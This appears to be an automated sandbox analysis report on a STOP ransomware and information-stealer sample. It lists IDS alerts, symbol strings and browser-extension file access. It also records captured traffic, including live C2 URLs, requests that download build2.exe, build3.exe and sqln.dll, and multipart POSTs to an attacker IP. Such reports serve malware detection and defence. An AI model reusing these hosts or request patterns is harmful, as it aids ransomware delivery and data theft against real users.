Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\ source: rq0mVjR9ar.exe, 00000006.00000003.2539864491.00000000036B5000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2541601382.00000000036BC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\ source: rq0mVjR9ar.exe, 00000006.00000003.2489415564.0000000003363000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2441757151.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489664444.000000000336A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\Wk source: rq0mVjR9ar.exe, 00000006.00000003.2589018735.0000000003156000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2589340401.0000000003168000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\\"s source: rq0mVjR9ar.exe, 00000006.00000003.2441757151.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442044485.000000000337B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Adobe\Acrobat\DC\SOPHIA\.pdb\ source: rq0mVjR9ar.exe, 00000006.00000003.2592996388.000000000377A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2588879640.0000000003779000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2602741221.0000000003793000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2581264527.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2582553222.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583746556.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2603069159.000000000379A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\g source: rq0mVjR9ar.exe, 00000006.00000003.2490372024.0000000003403000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489732570.0000000003400000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489312969.00000000033F7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\d source: rq0mVjR9ar.exe, 00000006.00000003.2581264527.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2582553222.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583746556.000000000379C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: build2.exe, 0000000A.00000002.2361848440.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2362276120.0000000020E2F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\, source: rq0mVjR9ar.exe, 00000006.00000003.2523089778.00000000036F9000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2522901917.00000000036E0000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2521600509.00000000036D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\N source: rq0mVjR9ar.exe, 00000006.00000003.2588209575.0000000003819000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583982466.0000000003849000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2588577508.000000000382A000.00000004.00000020.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

System file written: C:\Users\user\AppData\Local\Temp\chrome.exe

Jump to behavior

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_00410160
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_0040F730
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	2_2_0040FB98
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	6_2_0040F730
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	6_2_00410160
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	6_2_0040FB98

Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.6:49702 -> 186.147.159.149:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.6:49702 -> 186.147.159.149:80
Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.6:49704 -> 200.45.93.45:80
Source: Traffic	Snort IDS: 2036335 ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 200.45.93.45:80 -> 192.168.2.6:49704
Source: Traffic	Snort IDS: 2036335 ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 200.45.93.45:80 -> 192.168.2.6:49703
Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.6:49705 -> 200.45.93.45:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.6:49705 -> 200.45.93.45:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199673019888
Source: Malware configuration extractor	URLs: http://cajgtus.com/test1/get.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 24 Apr 2024 07:16:59 GMTContent-Type: application/octet-streamContent-Length: 296448Last-Modified: Tue, 23 Apr 2024 19:19:16 GMTConnection: closeETag: "662809b4-48600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce d6 de 9e 8a b7 b0 cd 8a b7 b0 cd 8a b7 b0 cd 87 e5 6f cd 90 b7 b0 cd 87 e5 50 cd f6 b7 b0 cd 87 e5 51 cd a6 b7 b0 cd 83 cf 23 cd 83 b7 b0 cd 8a b7 b1 cd f8 b7 b0 cd 3f 29 55 cd 8b b7 b0 cd 87 e5 6b cd 8b b7 b0 cd 3f 29 6e cd 8b b7 b0 cd 52 69 63 68 8a b7 b0 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 05 fb 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 e6 00 00 00 30 60 01 00 00 00 00 6d 40 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 61 01 00 04 00 00 00 d6 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dc 6a 01 00 64 00 00 00 00 40 60 01 66 ef 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 60 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 e4 00 00 00 10 00 00 00 e6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 74 00 00 00 00 01 00 00 76 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e4 b5 5e 01 00 80 01 00 00 36 02 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 66 ef 00 00 00 40 60 01 00 f0 00 00 00 96 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 24 Apr 2024 07:17:22 GMTServer: Apache/2.4.37 (Win64) PHP/5.6.40Last-Modified: Mon, 09 Oct 2023 19:50:06 GMTETag: "4ae00-6074de5a4a562"Accept-Ranges: bytesContent-Length: 306688Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 f8 06 6b 72 99 68 38 72 99 68 38 72 99 68 38 cf d6 fe 38 73 99 68 38 6c cb fd 38 6e 99 68 38 6c cb eb 38 fc 99 68 38 55 5f 13 38 7b 99 68 38 72 99 69 38 c9 99 68 38 6c cb ec 38 32 99 68 38 6c cb fc 38 73 99 68 38 6c cb f9 38 73 99 68 38 52 69 63 68 72 99 68 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0e d2 b9 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6a 03 00 00 98 3b 00 00 00 00 00 20 05 01 00 00 10 00 00 00 80 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 3e 00 00 04 00 00 b0 bf 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 68 03 00 64 00 00 00 00 90 3e 00 00 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 b8 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 68 03 00 00 10 00 00 00 6a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 ff 3a 00 00 80 03 00 00 0e 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6b 69 63 00 00 00 00 05 00 00 00 00 80 3e 00 00 02 00 00 00 7c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 2f 00 00 00 90 3e 00 00 30 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /profiles/76561199673019888 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 172.67.139.220 172.67.139.220
Source: Joe Sandbox View	IP Address: 95.217.9.149 95.217.9.149
Source: Joe Sandbox View	IP Address: 186.147.159.149 186.147.159.149

Source: Joe Sandbox View

ASN Name: TelecomArgentinaSAAR TelecomArgentinaSAAR

Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIEHIIEHIEHJKEBKEHJUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 279Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAKEBAECGCBAAAAAEBAUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAEUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCAFIIDHIDGHIECGDGIUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 5541Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqln.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFIJKKEHJDHJKFIECAAUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 829Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Code function: 2_2_0040CF10 _memset,InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

2_2_0040CF10

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /profiles/76561199673019888 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /sqln.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: sdfjhuz.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com

Source: build2.exe, 0000000A.00000002.2359644104.00000000009D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: AntiVirusProductWindows Defender{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}windowsdefender://%ProgramFiles%\Windows Defender\MsMpeng.exeThu, 05 Oct 2023 06:19:30 GMTom/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: build2.exe, 0000000A.00000003.2195053192.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: rq0mVjR9ar.exe, 00000008.00000003.2186374154.0000000003570000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: rq0mVjR9ar.exe, 00000006.00000003.2186602373.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
Source: rq0mVjR9ar.exe, 00000006.00000003.2186707698.00000000097E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)
